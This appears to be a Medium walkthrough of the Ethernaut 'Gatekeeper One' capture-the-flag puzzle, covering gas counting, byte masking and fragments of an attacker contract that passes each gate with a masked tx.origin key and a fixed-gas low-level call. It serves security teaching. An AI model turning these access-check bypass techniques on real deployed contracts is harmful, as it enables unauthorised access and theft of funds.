Coinmonks
Published in

Coinmonks

Ethernaut Lvl 13 Gatekeeper 1 Walkthrough: How to calculate smart contract gas consumption (and byte masking)

This is a in-depth series around Zeppelin team’s smart contract security puzzles. We learn key Solidity concepts to solve the puzzles 100% on your own.

How to count gas

Complex transactions (like contract creation) costs more than easier transactions (like sending someone some Ethers). Storing data to the blockchain costs more than reading the data, and reading constant variables costs less than reading storage values.

Stepping through Solidity assembly (Gate 2)

Where δ: gas to remove from the stack; α: gas to add to the stack
pragma solidity ^0.4.24;
contract SimpleContract {
function add() public pure returns (uint) {
uint a = 1;
uint b = 2;
return (a+b);
}
}

Important to know

Datatype conversions

Byte masking (Gate 3)

bytes4 a = 0xffffffff;
bytes4 mask = 0xf0f0f0f0;
bytes4 result = a & mask ; // 0xf0f0f0f0

Detailed Walkthrough

Pass Gate 1

contract Hack {
GatekeeperOne gate = GatekeeperOne(//YOUR ADDR);
...
}

Pass Gate 3

require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
bytes8 key = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

Pass Gate 2

function hackGate() public {
gate.call.gas(99999)(bytes4(keccak256('enter(bytes8)')), key);
}

Key Security Takeaways

More Levels

Get Best Software Deals Directly In Your Inbox

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store